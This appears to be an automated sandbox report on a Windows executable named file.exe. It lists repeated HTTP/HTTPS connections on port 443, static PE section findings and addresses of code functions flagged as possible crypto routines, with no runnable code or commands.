Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59346
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59341
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59340
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59343
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59342
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59381 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 59290 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 59435 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 59355 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59393 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59332 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59370 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59415 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59403 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 59321 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 59289 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59426 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59400
Source: unknown Network traffic detected: HTTP traffic on port 59278 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59402
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59401
Source: unknown Network traffic detected: HTTP traffic on port 59320 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 59366 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59408
Source: unknown Network traffic detected: HTTP traffic on port 59414 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59407
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59409
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59404
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59403
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59406
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59405
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59411
Source: unknown Network traffic detected: HTTP traffic on port 59277 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59410
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59413
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59412
Source: unknown Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59447 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 59382 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 59266 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59436 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59419
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59418
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59371 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59415
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59414
Source: unknown Network traffic detected: HTTP traffic on port 59354 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59417
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59416
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59301
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59422
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59300
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59421
Source: unknown Network traffic detected: HTTP traffic on port 59255 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59303
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59424
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59302
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59423
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59420
Source: unknown Network traffic detected: HTTP traffic on port 59425 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59343 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 59309 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 59359 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59279
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59278
Source: unknown Network traffic detected: HTTP traffic on port 59313 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59336 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59399
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59275
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59396
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59274
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59277
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59398
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59276
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59397
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59271
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59392
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59270
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59391
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59273
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59394
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59272
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59393
Source: unknown Network traffic detected: HTTP traffic on port 59388 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59390
Source: unknown Network traffic detected: HTTP traffic on port 59325 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59405 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59285 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59377 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59289
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59286
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59285
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59288
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59287
Source: unknown Network traffic detected: HTTP traffic on port 59416 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59440 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59282
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59281
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59284
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59283
Source: unknown Network traffic detected: HTTP traffic on port 59274 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59280
Source: unknown Network traffic detected: HTTP traffic on port 59324 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59404 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59427 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59297
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59296
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59299
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59298
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59293
Source: unknown Network traffic detected: HTTP traffic on port 59296 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59292
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59295
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59294
Source: unknown Network traffic detected: HTTP traffic on port 59273 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59291
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59290
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 59302 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 59358 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59262 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59389 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59251 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59347 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59429 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59406 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59378 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59349
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59348
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59356
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59355
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59358
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59357
Source: unknown Network traffic detected: HTTP traffic on port 59275 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59352
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59351
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59354
Source: unknown Network traffic detected: HTTP traffic on port 59298 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59353
Source: unknown Network traffic detected: HTTP traffic on port 59438 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59350
Source: unknown Network traffic detected: HTTP traffic on port 59346 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59369 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59252 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59264 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59300 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59359
Source: unknown Network traffic detected: HTTP traffic on port 59390 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59367
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59366
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59248
Source: unknown Network traffic detected: HTTP traffic on port 59335 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59369
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59368
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59363
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59362
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59365
Source: unknown Network traffic detected: HTTP traffic on port 59450 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59364
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59361
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59360
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59286 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59301 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59263 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59334 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59391 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59357 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59257
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59378
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59256
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59377
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59259
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59258
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59379
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59253
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59374
Source: unknown Network traffic detected: HTTP traffic on port 59417 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59252
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59373
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59255
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59376
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59254
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59375
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59370
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59251
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59372
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59250
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59371
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59323 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59428 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59379 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59268
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59389
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59267
Source: unknown Network traffic detected: HTTP traffic on port 59312 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59388
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59269
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59264
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59385
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59263
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59384
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59266
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59387
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59265
Source: unknown Network traffic detected: HTTP traffic on port 59297 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59386
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59260
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59381
Source: unknown Network traffic detected: HTTP traffic on port 59368 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59380
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59262
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59383
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59261
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59382
Source: unknown Network traffic detected: HTTP traffic on port 59439 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59351 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59397 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59294 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59431 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59316 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59339 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59374 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59419 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59271 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59304 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59260 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59362 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59328 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59248 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59282 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59386 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59443 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59327 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59350 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59293 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59407 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59432 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59375 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59418 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59259 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59305 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59326 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59303 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59284 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59261 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59361 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59441 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59398 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59430 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59295 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59409 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59338 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59314 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59387 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59349 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59399 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59408 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59376 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59420 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59315 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59250 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59348 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59283 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59337 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59360 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59442 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59272 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.85.23.206:443 -> 192.168.2.5:59250 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:59260 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.5:59268 version: TLS 1.2
Source: unknown HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:59273 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.5:59279 version: TLS 1.2
Source: unknown HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:59286 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.5:59362 version: TLS 1.2

System Summary
barindex
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Contains functionality to call native functions
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C880DE0 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError, 0_2_6C880DE0
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C87CC11 0_2_6C87CC11
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C88EC60 0_2_6C88EC60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C86FDA0 0_2_6C86FDA0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C845DB0 0_2_6C845DB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C869DF1 0_2_6C869DF1
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C87ED70 0_2_6C87ED70
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C85CEB0 0_2_6C85CEB0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C868E00 0_2_6C868E00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C885F20 0_2_6C885F20
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C8688A0 0_2_6C8688A0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C86F8E0 0_2_6C86F8E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C86D8F0 0_2_6C86D8F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C88390E 0_2_6C88390E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C884BC0 0_2_6C884BC0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C888BE0 0_2_6C888BE0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C8585E0 0_2_6C8585E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C8815E0 0_2_6C8815E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C84257C 0_2_6C84257C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C88E680 0_2_6C88E680
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C88A7D1 0_2_6C88A7D1
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C8427E0 0_2_6C8427E0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C85A700 0_2_6C85A700
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C89D735 0_2_6C89D735
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C871758 0_2_6C871758
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C8540D0 0_2_6C8540D0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C86F1D0 0_2_6C86F1D0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C846170 0_2_6C846170
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C882290 0_2_6C882290
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C8582C0 0_2_6C8582C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C8913D6 0_2_6C8913D6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C89F340 0_2_6C89F340
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61EAD2AC 0_2_61EAD2AC
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E4B8A1 0_2_61E4B8A1
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E75F1F 0_2_61E75F1F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E40065 0_2_61E40065
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E9E24F 0_2_61E9E24F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E5023C 0_2_61E5023C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E62554 0_2_61E62554
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E9A4A7 0_2_61E9A4A7
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E4E4BF 0_2_61E4E4BF
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E94783 0_2_61E94783
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E7A790 0_2_61E7A790
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E18736 0_2_61E18736
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E86668 0_2_61E86668
